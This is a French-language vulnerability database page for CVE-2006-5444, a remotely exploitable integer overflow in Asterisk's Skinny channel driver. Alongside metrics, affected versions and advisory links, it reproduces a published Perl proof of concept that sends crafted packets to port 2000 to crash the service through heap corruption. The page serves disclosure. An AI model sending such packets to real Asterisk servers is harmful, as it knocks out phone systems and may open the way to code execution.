CVE-2006-5444 : Détail

CVE-2006-5444

88.84%V4
Network
2006-10-23
15h00 +00:00
2018-10-17
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Integer overflow in the get_input function in the Skinny channel driver (chan_skinny.c) in Asterisk 1.0.x before 1.0.12 and 1.2.x before 1.2.13, as used by Cisco SCCP phones, allows remote attackers to execute arbitrary code via a certain dlen value that passes a signed integer comparison and leads to a heap-based buffer overflow.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 2597

Date de publication : 2006-10-18 22h00 +00:00
Auteur : Noam Rathaus
EDB Vérifié : Yes

#!/usr/bin/perl # Beyond Security # Copyright Noam Rathaus <noamr@beyondsecurity.com> # # The following proof of concept causes the chan_skippy to crash in different locations and due to # memory corruption as well as double free calls, this is based on the finding of # Security-Assessment.com, and proves that the vulnerability is indeed exploitable and there... # use IO::Socket; use strict; my $target = "127.0.0.1"; my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target, PeerPort => "2000"); unless ($remote) { die "cannot connect to skinny daemon on $target" } my $packet = "A"x1000; #Causes *** glibc detected *** malloc(): memory corruption: 0x08175830 *** my $packet = "\x30\xE0\x00\x00"."\x00\x00\x00\x00".("A"x1000); # *** glibc detected *** double free or corruption (!prev): 0x08184348 *** my $packet = "\xE5\x03\x00\x00".("A"x996); # *** glibc detected *** double free or corruption (out): 0x08171740 *** my $packet = "\xF0\xFF\xFF\xFF".("A"x996); # Program received signal SIGSEGV, Segmentation fault. #[Switching to Thread -1494127696 (LWP 9909)] #0xa76264cb in skinny_session (data=0x8183ee8) at chan_skinny.c:2896 #2896 memcpy(req, s->inbuf, letohl(*(int*)(s->inbuf))+8); print $remote $packet; # milw0rm.com [2006-10-19]

Products Mentioned

Configuraton 0

Digium>>Asterisk >> Version 0.1.7

Digium>>Asterisk >> Version 0.1.8

Digium>>Asterisk >> Version 0.1.9

Digium>>Asterisk >> Version 0.1.9.1

Digium>>Asterisk >> Version 0.2

Digium>>Asterisk >> Version 0.3

Digium>>Asterisk >> Version 0.4

Digium>>Asterisk >> Version 0.7

Digium>>Asterisk >> Version 0.7.1

Digium>>Asterisk >> Version 0.7.2

Digium>>Asterisk >> Version 0.9

Digium>>Asterisk >> Version 1.0

Digium>>Asterisk >> Version 1.0.7

Digium>>Asterisk >> Version 1.0.8

Digium>>Asterisk >> Version 1.0.9

Digium>>Asterisk >> Version 1.0.10

Digium>>Asterisk >> Version 1.0.11

Digium>>Asterisk >> Version 1.2.6

Digium>>Asterisk >> Version 1.2.7

Digium>>Asterisk >> Version 1.2.8

Digium>>Asterisk >> Version 1.2.9

Digium>>Asterisk >> Version 1.2.10

Digium>>Asterisk >> Version 1.2.11

Digium>>Asterisk >> Version 1.2.12

Digium>>Asterisk >> Version 1.2_beta1

    Digium>>Asterisk >> Version 1.2_beta2

      Références

      http://secunia.com/advisories/22480
      Tags : third-party-advisory, x_refsource_SECUNIA
      http://www.us.debian.org/security/2006/dsa-1229
      Tags : vendor-advisory, x_refsource_DEBIAN
      http://www.gentoo.org/security/en/glsa/glsa-200610-15.xml
      Tags : vendor-advisory, x_refsource_GENTOO
      http://www.securityfocus.com/bid/20617
      Tags : vdb-entry, x_refsource_BID
      http://www.vupen.com/english/advisories/2006/4097
      Tags : vdb-entry, x_refsource_VUPEN
      http://secunia.com/advisories/22651
      Tags : third-party-advisory, x_refsource_SECUNIA
      http://www.osvdb.org/29972
      Tags : vdb-entry, x_refsource_OSVDB
      http://www.securityfocus.com/archive/1/449183/100/0/threaded
      Tags : vendor-advisory, x_refsource_OPENPKG
      http://secunia.com/advisories/23212
      Tags : third-party-advisory, x_refsource_SECUNIA
      http://www.kb.cert.org/vuls/id/521252
      Tags : third-party-advisory, x_refsource_CERT-VN
      http://securitytracker.com/id?1017089
      Tags : vdb-entry, x_refsource_SECTRACK
      http://secunia.com/advisories/22979
      Tags : third-party-advisory, x_refsource_SECUNIA
      http://www.asterisk.org/node/109
      Tags : x_refsource_CONFIRM